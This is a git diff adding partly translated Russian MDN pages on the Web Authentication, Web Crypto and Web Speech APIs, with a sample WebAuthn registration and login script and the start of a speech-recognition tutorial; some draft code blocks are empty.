+ <li><strong>Браузер вызывает authenticatorGetCredential() для аутентификатора</strong> - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the get() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).</li>
+ <li><strong>Аутентификатор создает подпись</strong> - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.</li>
+ <li><strong>Аутентификатор передает информацию в браузер</strong> - The authenticator returns the authenticatorData and assertion signature back to the browser.</li>
+ <li><strong>Браузер создаёт итоговый набор данных, приложение отвечает серверу</strong> - The browser resolves the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> to a {{domxref("PublicKeyCredential")}} with a {{domxref("PublicKeyCredential.response")}} that contains the {{domxref("AuthenticatorAssertionResponse")}}. It is up to the JavaScript application to transmit this data back to the server using any protocol and format of its choice.</li>
+ <li><strong>Сервер проверят и завершает аутентификацию</strong> - Upon receiving the result of the authentication request, the server performs validation of the response such as:
+  <ol>
+   <li>Using the public key that was stored during the registration request to validate the signature by the authenticator.</li>
+   <li>Ensuring that the challenge that was signed by the authenticator matches the challenge that was generated by the server.</li>
+   <li>Checking that the Relying Party ID is the one expected for this service.</li>
+  </ol>
+  A full list of the <a href="https://w3c.github.io/webauthn/#verifying-assertion">steps for validating an assertion can be found in the Web Authentication API specification</a>. Assuming the validation is successful, the server will note that the user is now authenticated. This is outside the scope of the Web Authentication API specification, but one option would be to drop a new cookie for the user session.</li>
+</ol>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt>{{domxref("Credential")}} {{experimental_inline}}</dt>
+ <dd>Provides information about an entity as a prerequisite to a trust decision.</dd>
+ <dt>{{domxref("CredentialsContainer")}}</dt>
+ <dd>Exposes methods to request credentials and notify the user agent when events such as successful sign in or sign out happen. This interface is accessible from {{domxref('Navigator.credentials')}}. The Web Authentication specification adds a <code>publicKey</code> member to the {{domxref('CredentialsContainer.create','create()')}} and {{domxref('CredentialsContainer.get','get()')}} methods to either create a new public key pair or get an authentication for a key pair, repsectively.</dd>
+ <dt>{{domxref("PublicKeyCredential")}}</dt>
+ <dd>Provides information about a public key / private key pair, which is a credential for logging in to a service using an un-phishable and data-breach resistant asymmetric key pair instead of a password.</dd>
+ <dt>{{domxref("AuthenticatorResponse")}}</dt>
+ <dd>The base interface for {{domxref("AuthenticatorAttestationResponse")}} and {{domxref("AuthenticatorAssertionResponse")}}, which provide a cryptographic root of trust for a key pair. Returned by {{domxref('CredentialsContainer.create()')}} and {{domxref('CredentialsContainer.get()')}}, respectively, the child interfaces include information from the browser such as the challenge origin. Either may be returned from {{domxref("PublicKeyCredential.response")}}.</dd>
+ <dt>{{domxref("AuthenticatorAttestationResponse")}}</dt>
+ <dd>Returned by {{domxref('CredentialsContainer.create()')}} when a {{domxref('PublicKeyCredential')}} is passed, and provides a cryptographic root of trust for the new key pair that has been generated.</dd>
+ <dt>{{domxref("AuthenticatorAssertionResponse")}}</dt>
+ <dd>Returned by {{domxref('CredentialsContainer.get()')}} when a {{domxref('PublicKeyCredential')}} is passed, and provides proof to a service that it has a key pair and that the authentication request is valid and approved.</dd>
+</dl>
+
+<h2 id="Опции">Опции</h2>
+
+<dl>
+ <dt>{{domxref("PublicKeyCredentialCreationOptions")}}</dt>
+ <dd>Опции для {{domxref('CredentialsContainer.create()')}}.</dd>
+ <dt>{{domxref("PublicKeyCredentialRequestOptions")}}</dt>
+ <dd>Опции для {{domxref('CredentialsContainer.get()')}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<div class="blockIndicator warning">
+<p> В целях безопасности вызовы Web Authentication API ({{domxref('CredentialsContainer.create','create()')}} и {{domxref('CredentialsContainer.get','get()')}}) отменяются, если браузер теряет фокус до завершения вызова.</p>
+</div>
+
+<pre class="brush: js notranslate">// sample arguments for registration
+var createCredentialDefaultArgs = {
+    publicKey: {
+        // Relying Party (a.k.a. - Service):
+        rp: {
+            name: "Acme"
+        },
+
+        // User:
+        user: {
+            id: new Uint8Array(16),
+            name: "john.p.smith@example.com",
+            displayName: "John P. Smith"
+        },
+
+        pubKeyCredParams: [{
+            type: "public-key",
+            alg: -7
+        }],
+
+        attestation: "direct",
+
+        timeout: 60000,
+
+        challenge: new Uint8Array([ // must be a cryptographically random number sent from a server
+            0x8C, 0x0A, 0x26, 0xFF, 0x22, 0x91, 0xC1, 0xE9, 0xB9, 0x4E, 0x2E, 0x17, 0x1A, 0x98, 0x6A, 0x73,
+            0x71, 0x9D, 0x43, 0x48, 0xD5, 0xA7, 0x6A, 0x15, 0x7E, 0x38, 0x94, 0x52, 0x77, 0x97, 0x0F, 0xEF
+        ]).buffer
+    }
+};
+
+// sample arguments for login
+var getCredentialDefaultArgs = {
+    publicKey: {
+        timeout: 60000,
+        // allowCredentials: [newCredential] // see below
+        challenge: new Uint8Array([ // must be a cryptographically random number sent from a server
+            0x79, 0x50, 0x68, 0x71, 0xDA, 0xEE, 0xEE, 0xB9, 0x94, 0xC3, 0xC2, 0x15, 0x67, 0x65, 0x26, 0x22,
+            0xE3, 0xF3, 0xAB, 0x3B, 0x78, 0x2E, 0xD5, 0x6F, 0x81, 0x26, 0xE2, 0xA6, 0x01, 0x7D, 0x74, 0x50
+        ]).buffer
+    },
+};
+
+// register / create a new credential
+navigator.credentials.create(createCredentialDefaultArgs)
+    .then((cred) =&gt; {
+        console.log("NEW CREDENTIAL", cred);
+
+        // normally the credential IDs available for an account would come from a server
+        // but we can just copy them from above...
+        var idList = [{
+            id: cred.rawId,
+            transports: ["usb", "nfc", "ble"],
+            type: "public-key"
+        }];
+        getCredentialDefaultArgs.publicKey.allowCredentials = idList;
+        return navigator.credentials.get(getCredentialDefaultArgs);
+    })
+    .then((assertion) =&gt; {
+        console.log("ASSERTION", assertion);
+    })
+    .catch((err) =&gt; {
+        console.log("ERROR", err);
+    });
+</pre>
+
+<ul>
+ <li><span class="external">Сайт </span><a class="external" href="https://webauthn.bin.coffee/">Mozilla Demo</a> и его <a href="https://github.com/jcjones/webauthn.bin.coffee">source code</a>.</li>
+ <li><span class="external">Сайт </span><a class="external" href="http://webauthndemo.appspot.com/">Google Demo</a> и его <a href="https://github.com/google/webauthndemo">source code</a>.</li>
+ <li><a href="https://webauthn.org">webauthn.org</a>: <a href="https://github.com/apowers313/webauthn-simple-app">client source code</a> и <a href="https://github.com/apowers313/fido2-lib">server source code</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebAuthn')}}</td>
+   <td>{{Spec2('WebAuthn')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<h3 id="Credential">Credential</h3>
+
+<p>{{Compat("api.Credential")}}</p>
+
+<h3 id="CredentialsContainer">CredentialsContainer</h3>
+
+<p>{{Compat("api.CredentialsContainer")}}</p>
+
+<h3 id="PublicKeyCredential">PublicKeyCredential</h3>
+
+<p>{{Compat("api.PublicKeyCredential")}}</p>
+
+<h3 id="AuthenticatorResponse">AuthenticatorResponse</h3>
+
+<p>{{Compat("api.AuthenticatorResponse")}}</p>
+
+<h3 id="AuthenticatorAttestationResponse">AuthenticatorAttestationResponse</h3>
+
+<p>{{Compat("api.AuthenticatorAttestationResponse")}}</p>
+
+<h3 id="AuthenticatorAssertionResponse">AuthenticatorAssertionResponse</h3>
+
+<p>{{Compat("api.AuthenticatorAssertionResponse")}}</p>
+
+<h3 id="PublicKeyCredentialCreationOptions">PublicKeyCredentialCreationOptions</h3>
+
+<p>{{Compat("api.PublicKeyCredentialCreationOptions")}}</p>
+
+<h3 id="PublicKeyCredentialRequestOptions">PublicKeyCredentialRequestOptions</h3>
+
+<p>{{Compat("api.PublicKeyCredentialRequestOptions")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><span class="st"><a href="https://secure.wphackedhelp.com/blog/wordpress-two-factor-authentication/">WordPress Two-Factor Authentication</a>, ( 2FA) is an additional layer of security you can add to your <em>WordPress</em> login page.</span></li>
+</ul>
diff --git a/files/ru/web/api/web_crypto_api/checking_authenticity_with_password/index.html b/files/ru/web/api/web_crypto_api/checking_authenticity_with_password/index.html
new file mode 100644
index 0000000000..ea8ec86586
--- /dev/null
+++ b/files/ru/web/api/web_crypto_api/checking_authenticity_with_password/index.html
@@ -0,0 +1,33 @@
+---
+title: Проверка подлинности данных с паролем
+slug: Web/API/Web_Crypto_API/Checking_authenticity_with_password
+tags:
+  - HMAC
+  - Web Crypto
+translation_of: Web/API/Web_Crypto_API/Checking_authenticity_with_password
+---
+<p>{{APIRef("Web Crypto API")}}{{draft}}</p>
+
+<p>Проверка подлинности данных может быть выполнена с помощью Web Crypto API. В этой статье мы покажем как создавать и управлять подписями, используя хэш-функцию и пароль.</p>
+
+<p>HMAC алгоритм генерирует хэш на основе передаваемых ключа и данных, которые нужно подписать. Позже, идентичный хэш может быть вычислен заного любым пользователем, у которого имеется ключ. Необходимость ключа позволяет хранить данные и хэш вместе: злоумышленник не сможет создать хэш для измененных данных, не имея ключа.</p>
+
+<p>Стоит заметить, что алгоритм никак не связан с какой-либо другой информацией о владельце: знание ключа – необходимое и достаточное условие для изменения данных.</p>
+
+<p>Предположим, данные хранятся на компьютере. Чтобы получить доступ к записи или чтению, мы будем использовать <code>localforage.js</code> – библиотека-обертка над хранилищами браузера. Эта библиотека необязательна и используется в качестве примера для удобства, чтобы сосредоточиться на криптографии.</p>
+
+<p>Данные, доступ к которым мы хотим получить, имеют следующую форму:</p>
+
+<p> </p>
+
+<p>где <code>data</code><em> </em>– данные для подписания и <code>signature</code> – подпись, информация для проверки подлинности.</p>
+
+<p>Криптографические ключи невозможно выучить наизусть, а обычные пароли недостаточно безопасны. Чтобы решить эту проблему, криптографы создали алгоритмы для создания криптографических ключей из паролей. Знание пароля позволяет воссоздать ключ и использовать его.</p>
+
+<p>Запрашиваем пароль у пользователя для генерации ключа:</p>
+
+<pre> </pre>
+
+<p>С этим ключом мы можем вычислить хэш данных.</p>
+
+<pre> </pre>
diff --git a/files/ru/web/api/web_crypto_api/index.html b/files/ru/web/api/web_crypto_api/index.html
new file mode 100644
index 0000000000..08e1f04357
--- /dev/null
+++ b/files/ru/web/api/web_crypto_api/index.html
@@ -0,0 +1,80 @@
+---
+title: Web Crypto API
+slug: Web/API/Web_Crypto_API
+tags:
+  - API
+translation_of: Web/API/Web_Crypto_API
+---
+<p>{{DefaultAPISidebar("Web Crypto API")}}{{SeeCompatTable}}{{draft}}</p>
+
+<p><strong>Web Crypto API</strong> – интерфейс, позволяющий использовать криптографические примитивы для построения систем, <span style="font-size: 1rem; letter-spacing: -0.00278rem;">манипулировать, хранить секретные ключи без необходимости делать доступными базовые биты ключа для JavaScript.</span></p>
+
+<p>Интерфейс открывает доступ к следующим примитивам:</p>
+
+<ul>
+ <li><em>digest</em>, the ability to compute a hash of an arbitrary block of data, in order to detect any change in it.</li>
+ <li><em>mac</em>, the ability to compute a message authentication code.</li>
+ <li><em>sign</em> и <em>verify</em>, the ability to digitally sign a document, and to verify a signature.</li>
+ <li><em>encrypt</em> и <em>decrypt</em>, the ability to encode or decode a document.</li>
+ <li><em>import</em> и <em>export</em>, the ability to import a key or export a key.</li>
+ <li><em>key generation</em>, the ability to create a cryptographically secure key, or key pair, without the use of base key, but using the available entropy of the local system.</li>
+ <li><em>key wrapping</em> and <em>unwrapping</em>, the ability to transmit, and to receive, a key from a third party, encoded using another key, without exposing the underlying key to JavaScript.</li>
+ <li><em>random</em>, способность генерировать криптографически достоверные псевдослучайные числа.</li>
+</ul>
+
+<p>Web Crypto API не решает всех проблем, которые касаются использования криптографии на Web-сайтах или приложениях:</p>
+
+<ul>
+ <li>Она не заменяет "<a href="/en-US/docs/Web/Security/Same-origin_policy">с</a>обственной модели безопасности" браузера (когда на некоторых Web-сайтах используются свои собственные ключи).</li>
+ <li>Оно не взаимодействует со специальным аппаратным обеспечением (смарт-карты, USB-ключи или генераторы случайных чисел).</li>
+</ul>
+
+<div class="warning">
+<p><strong>Внимание!</strong></p>
+
+<ul>
+ <li>Само по себе использование криптографии не делает систему безопасной. Безопасность – это <strong>процесс</strong> постоянной оценки рисков, возникающих в контексте эксплуатации системы. Контекст, как и риски, изменяются с течением времени.</li>
+ <li>When dealing with security, the whole <strong>system</strong> must be considered. In the case of the Web Crypto API, Web developers shouldn't consider only the security of the script, but the security of the connection to the server, because using Web Crypto over HTTP is not secure. The overall security can't be stronger than the security of the weakest part of the overall system.</li>
+</ul>
+</div>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<p>Некоторые браузеры реализовали интерфейс {{domxref("Crypto")}}, но сделали это недостаточно точно или без должного уровня безопасности. Чтобы избежать конфуза с модулем {{domxref("Crypto")}} из пакета Node, методы и свойства интерфейса были перенесены в новый интерфейс: {{domxref("SubtleCrypto")}}. Свойство {{domxref("Crypto.subtle")}} даёт доступ к объекту, реализующему Web Crypto API.</p>
+
+<h2 id="Использование">Использование</h2>
+
+<p>Web Crypto API может использоваться для:</p>
+
+<ul>
+ <li>того, чтобы удостовериться в том, что данные не подделаны третьей стороной. Если информация хранится в открытом хранилище, подпись, сгенерированная с помощью пароля, позволяет людям, знающим пароль, выяснить, имеют ли они дело с оригинальными значениями или же нет.</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Web Crypto API")}}</td>
+   <td>{{Spec2("Web Crypto API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Crypto")}}</p>
+
+<div id="compat-mobile"> </div>
diff --git a/files/ru/web/api/web_speech_api/index.html b/files/ru/web/api/web_speech_api/index.html
new file mode 100644
index 0000000000..3398c86aad
--- /dev/null
+++ b/files/ru/web/api/web_speech_api/index.html
@@ -0,0 +1,176 @@
+---
+title: Web Speech API
+slug: Web/API/Web_Speech_API
+translation_of: Web/API/Web_Speech_API
+---
+<div>{{DefaultAPISidebar("Web Speech API")}}{{seecompattable}}</div>
+
+<div class="summary">
+<p>Web Speech API позволяет взаимодействовать с голосовыми интерфейсами в ваших веб приложениях. Web Speech API состоит из двух частей: SpeechSynthesis (Текст-в-Речь), и SpeechRecognition (Асинхронное распознавание речи)</p>
+</div>
+
+<h2 id="Концепции_и_использование_Web_Speech">Концепции и использование Web Speech</h2>
+
+<p>Web Speech API позволяет веб приложениям управлять голосовыми данными. Существует два компонента к этому API:</p>
+
+<ul>
+ <li>Распознавание голоса. Доступ обеспечивается через {{domxref("SpeechRecognition")}} интерфейс, который в свою очередь обеспечивает возможность распознавать текст из входящего аудио потока (обычно через устройство распознавания речи в устройстве по умолчанию) и отвечать соответственно. Воспользовавшись конструктором интерфейса вы можете создать новый {{domxref("SpeechRecognition")}} объект, у которого есть ряд событий для обнаружения начала речи через микрофон устройства. {{domxref("SpeechGrammar")}} интерфейс предоставляет контейнер для определенного набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью <a href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (<strong>JSGF</strong>.)</li>
+ <li>Доступ к синтезу речи осуществляется с помощью {{domxref("SpeechSynthesis")}} интерфейса, компонент text-to-speech позволяет приложениям прочесть свой текстовый контент (обычно через дефолтный синтезатор речи устройства). В {{domxref("SpeechSynthesisVoice")}} объектах есть различные типы голоса, и различным частям текста можно назначать   {{domxref("SpeechSynthesisUtterance")}} объекты. Можно начать воспроизведение передав их методу {{domxref("SpeechSynthesis.speak()")}}.</li>
+</ul>
+
+<p>Для большей информации по использованию этих фич, смотрите <a href="/en-US/docs/Web/API/Web_Speech_API/Using_the_Web_Speech_API">Using the Web Speech API</a>.</p>
+
+<h2 id="Интерфейсы_Web_Speech_API">Интерфейсы Web Speech API</h2>
+
+<h3 id="Распознавание_речи">Распознавание речи</h3>
+
+<dl>
+ <dt>{{domxref("SpeechRecognition")}}</dt>
+ <dd>The controller interface for the recognition service; this also handles the {{domxref("SpeechRecognitionEvent")}} sent from the recognition service.</dd>
+ <dt>{{domxref("SpeechRecognitionAlternative")}}</dt>
+ <dd>Представляет одно слово которое было распознано службой распознавания голоса.</dd>
+ <dt>{{domxref("SpeechRecognitionError")}}</dt>
+ <dd>Представляет сообщения об ошибках из службы распознавания.</dd>
+ <dt>{{domxref("SpeechRecognitionEvent")}}</dt>
+ <dd>The event object for the {{event("result")}} and {{event("nomatch")}} events, and contains all the data associated with an interim or final speech recognition result.</dd>
+ <dt>{{domxref("SpeechGrammar")}}</dt>
+ <dd>Слова или шаблоны слов которые мы хотим чтобы служба распознавания распознала.</dd>
+ <dt>{{domxref("SpeechGrammarList")}}</dt>
+ <dd>Представляет список объектов {{domxref("SpeechGrammar")}}.</dd>
+ <dt>{{domxref("SpeechRecognitionResult")}}</dt>
+ <dd>Представляет одно распознанное совпадение, которое может содержать несколько объектов {{domxref("SpeechRecognitionAlternative")}}.</dd>
+ <dt>{{domxref("SpeechRecognitionResultList")}}</dt>
+ <dd>Represents a list of {{domxref("SpeechRecognitionResult")}} objects, or a single one if results are being captured in {{domxref("SpeechRecognition.continuous","continuous")}} mode.</dd>
+</dl>
+
+<h3 id="Синтезирование_речи">Синтезирование речи</h3>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesis")}}</dt>
+ <dd>The controller interface for the speech service; this can be used to retrieve information about the synthesis voices available on the device, start and pause speech, and other commands besides.</dd>
+ <dt>{{domxref("SpeechSynthesisErrorEvent")}}</dt>
+ <dd>Contains information about any errors that occur while processing {{domxref("SpeechSynthesisUtterance")}} objects in the speech service.</dd>
+ <dt>{{domxref("SpeechSynthesisEvent")}}</dt>
+ <dd>Contains information about the current state of {{domxref("SpeechSynthesisUtterance")}} objects that have been processed in the speech service.</dd>
+ <dt>{{domxref("SpeechSynthesisUtterance")}}</dt>
+ <dd>Represents a speech request. It contains the content the speech service should read and information about how to read it (e.g. language, pitch and volume.)</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("SpeechSynthesisVoice")}}</dt>
+ <dd>Represents a voice that the system supports. Every <code>SpeechSynthesisVoice</code> has its own relative speech service including information about language, name and URI.</dd>
+ <dt>{{domxref("Window.speechSynthesis")}}</dt>
+ <dd>Specced out as part of a <code>[NoInterfaceObject]</code> interface called <code>SpeechSynthesisGetter</code>, and Implemented by the <code>Window</code> object, the <code>speechSynthesis</code> property provides access to the {{domxref("SpeechSynthesis")}} controller, and therefore the entry point to speech synthesis functionality.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p><a href="https://github.com/mdn/web-speech-api/">Web Speech API репозиторий</a> на GitHub содержит примеры, показывающие распознавание и синтез речи.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Speech API')}}</td>
+   <td>{{Spec2('Web Speech API')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(33)}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(49)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>2.5</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li>[1] Speech recognition interfaces are currently prefixed in Chrome, so you'll need to prefix interface names appropriately, e.g. <code>webkitSpeechRecognition</code>; You'll also need to serve your code through a web server for recognition to work. Speech synthesis is fully supported without prefixes.</li>
+ <li>[2] Recognition can be enabled via the <code>media.webspeech.recognition.enable</code> flag in <code>about:config</code>; synthesis is switched on by default. Note that currently only the speech synthesis part is available in Firefox Desktop — the speech recognition part will be available soon, once the required internal permissions are sorted out.</li>
+</ul>
+
+<h2 id="Firefox_OS_permissions">Firefox OS permissions</h2>
+
+<p>To use speech recognition in an app, you need to specify the following permissions in your <a href="/en-US/docs/Web/Apps/Build/Manifest">manifest</a>:</p>
+
+<pre class="brush: json notranslate">"permissions": {
+  "audio-capture" : {
+    "description" : "Audio capture"
+  },
+  "speech-recognition" : {
+    "description" : "Speech recognition"
+  }
+}</pre>
+
+<p>You also need a privileged app, so you need to include this as well:</p>
+
+<pre class="brush: json notranslate">  "type": "privileged"</pre>
+
+<p>Speech synthesis needs no permissions to be set.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Speech_API/Using_the_Web_Speech_API">Using the Web Speech API</a></li>
+ <li><a href="http://www.sitepoint.com/talking-web-pages-and-the-speech-synthesis-api/">SitePoint article</a></li>
+ <li><a href="http://updates.html5rocks.com/2014/01/Web-apps-that-talk---Introduction-to-the-Speech-Synthesis-API">HTML5Rocks article</a></li>
+ <li><a href="http://aurelio.audero.it/demo/speech-synthesis-api-demo.html">Demo</a> [aurelio.audero.it]</li>
+</ul>
diff --git a/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html
new file mode 100644
index 0000000000..f869af47d3
--- /dev/null
+++ b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html
@@ -0,0 +1,416 @@
+---
+title: Применение Web Speech API
+slug: Web/API/Web_Speech_API/Using_the_Web_Speech_API
+tags:
+  - API
+  - Web Speech API
+  - Воспроизведение речи
+  - Распознавание речи
+  - Синтез речи
+translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API
+---
+<p class="summary">Web Speech API предоставляет 2 основных типа функционала — <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition">распознавание речи пользователя</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">речевое воспроизведение текста</a>. Это предоставляет новые возможности для взаимодействия с интерфейсом и открывает перед нами новые горизонты создания уникального пользовательского опыта. Эта статья дает краткое описание обоих направлений с примерами кода и ссылкой на работающее приложение онлайн.</p>
+
+<h2 id="Распознавание_речи">Распознавание речи</h2>
+
+<p>Механизм распознавания речи способен принимать речевой поток через микрофон устройства, а затем проверять его, используя свои внутренние алгоритмы. Для более точной работы рекомендуется использовать интерфейс <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechGrammar">SpeechGrammar</a>, предоставляющий контейнер для определенного набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью <a href="https://www.w3.org/TR/jsgf/">JSpeech Grammar Format(JSGF.)</a>.</p>
+
+<p>После того, как пользовательская речь была распознана, алгоритм возвращает результат (список результатов) в качестве текстовой строки, с которой мы можем продолжить работу.</p>
+
+<div class="note">
+<p><strong>Внимание:</strong> В Chrome распознавание речи на веб-странице завязано на взаимодействие с сервером. Ваш звук отправляется на веб-службу для обработки распознавания, поэтому приложение не будет работать в оффлайн-режиме.</p>
+</div>
+
+<h3 id="Демо">Демо</h3>
+
+<p>Для запуска демо достаточно перейти по <a href="https://ru.web-speech-api-example.cheliz.top/">ссылке на приложение </a>или скачать <a href="https://github.com/Oleg-Miniuk/ru_web_speech_example">репозиторий</a>, установить зависимости (<code>npm install</code>) и запустить приложение (<code>npm run start</code>), после чего открыть <strong>localhost:4001</strong> в браузере.</p>
+
+<p><img alt="" src="https://pp.userapi.com/c831409/v831409509/1c0226/S_tm-BfW-U8.jpg" style="height: 362px; width: 652px;"></p>
+
+<p>после озвучки команды</p>
+
+<p><img alt="" src="https://pp.userapi.com/c831409/v831409509/1c022e/uWRjlOvjopk.jpg" style="height: 329px; width: 650px;"></p>
+
+<h3 id="Браузерная_поддержка">Браузерная поддержка</h3>
+
+<p>Поддержка интерфейса еще только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:</p>
+
+<ul>
+ <li dir="ltr">
+  <p dir="ltr">Мобильный и десктопный Firefox поддерживает его в Gecko 44+ без префиксов, и его можно включить, установив значение флага <code>media.webspeech.recognition.enable</code> на <code>true</code> в <code>about:config</code></p>
+ </li>
+ <li dir="ltr">
+  <p dir="ltr">Chrome для настольных компьютеров и версия для Android поддерживали его с версии 33, но с прописанными префиксами, поэтому вам нужно использовать префиксную версию, например <code>webkitSpeechRecognition</code></p>
+ </li>
+</ul>
+
+<p dir="ltr">Традиционно, самая актуальная информация по поддержке чего-либо в браузерах на <a href="https://caniuse.com/#search=speech">caniuse</a>.</p>
+
+<h3 id="HTML_и_CSS">HTML и CSS</h3>
+
+<p>Разметка и стили предельно просты. У нас есть значок микрофона, на который мы можем кликнуть для начала записи, анимация звукозаписи, которая включается после клика, и фоновый контейнер, который будет изменять свой цвет, в зависимости от того, что озвучит пользователь.</p>
+
+<p>CSS задает простые отзывчивые стили, для корректного отображения и работы на всех устройствах</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>А вот на реализацию логики давайте обратим более пристальное внимание.</p>
+
+<h4 id="Поддержка_Chrome">Поддержка Chrome </h4>
+
+<p>Как уже упоминалось ранее, в настоящее время Chrome поддерживает интерфейс распознавания речи с указанными префиксами, поэтому в начале нашего кода мы включаем строки префиксов для использования нужных объектов в Chrome и ссылки на объекты без префиксов для Firefox.</p>
+
+<pre>const SpeechRecognition = window.SpeechRecognition || window.webkitSpeechRecognition;
+const SpeechGrammarList = window.SpeechGrammarList || window.webkitSpeechGrammarList;
+const SpeechRecognitionEvent = window.SpeechRecognitionEvent || window.webkitSpeechRecognitionEvent;
+</pre>
+
+<h4 id="Грамматика">Грамматика</h4>
+
+<p>Следующая часть нашего кода определяет грамматику, которую мы хотим, применять для поиска соответствий.</p>
+
+<p>Определяем следующие переменные:</p>
+
+<pre>const colors = {
+  красный: 'red',
+  оранжевый: 'orange',
+  желтый: 'yellow',
+  зеленый: 'green',
+  голубой: 'blue',
+  синий: 'darkblue',
+  фиолетовый: 'violet'
+};
+
+const colorsList = Object.keys(colors);
+
+const grammar = '#JSGF V1.0; grammar colors; public &lt;color&gt; = ' + colorsList.join(' | ') + ' ;';
+
+Формат “грамматики“ используемой нами - это <a href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (JSGF) - по ссылке можете почитать про это больше.</pre>
+
+<p dir="ltr">Быстро пробежимся по основным принципам:</p>
+
+<ul>
+ <li dir="ltr">
+  <p dir="ltr">Линии разделены точкой с запятой, как и в JavaScript.</p>
+ </li>
+ <li dir="ltr">
+  <p dir="ltr">Первая строка - <code>#JSGF V1.0;</code> - указывает формат и версию. Это всегда необходимо включать в первую очередь.</p>
+ </li>
+ <li dir="ltr">
+  <p dir="ltr">Вторая строка указывает значение, которое мы хотим распознать. public объявляет, что это общедоступное правило, строка в угловых скобках определяет распознанное имя для этого значения (цвет), а список элементов, следующих за знаком равенства, - это альтернативные варианты, которые будут распознаны и могут быть приняты в качестве возможного значения. Обратите внимание, как каждый из них разделяется вертикальной линией (“|” - “pipe character”).</p>
+ </li>
+ <li dir="ltr">
+  <p dir="ltr">У вас может быть множество значений, определенных отдельно, как указано выше, и содержащих довольно сложные определения грамматики. Для нашего демонстрационного примера мы делаем все просто.</p>
+ </li>
+</ul>
+
+<h4 id="Подключение_грамматики_к_нашему_распознаванию_речи"><strong id="docs-internal-guid-5c511c58-7fff-3f7e-ba1f-2130d83c633a">Подключение грамматики к нашему распознаванию речи</strong></h4>
+
+<p>Следующее, что нужно сделать, это определить экземпляр объекта распознавания речи для управления записью нашего приложения.</p>
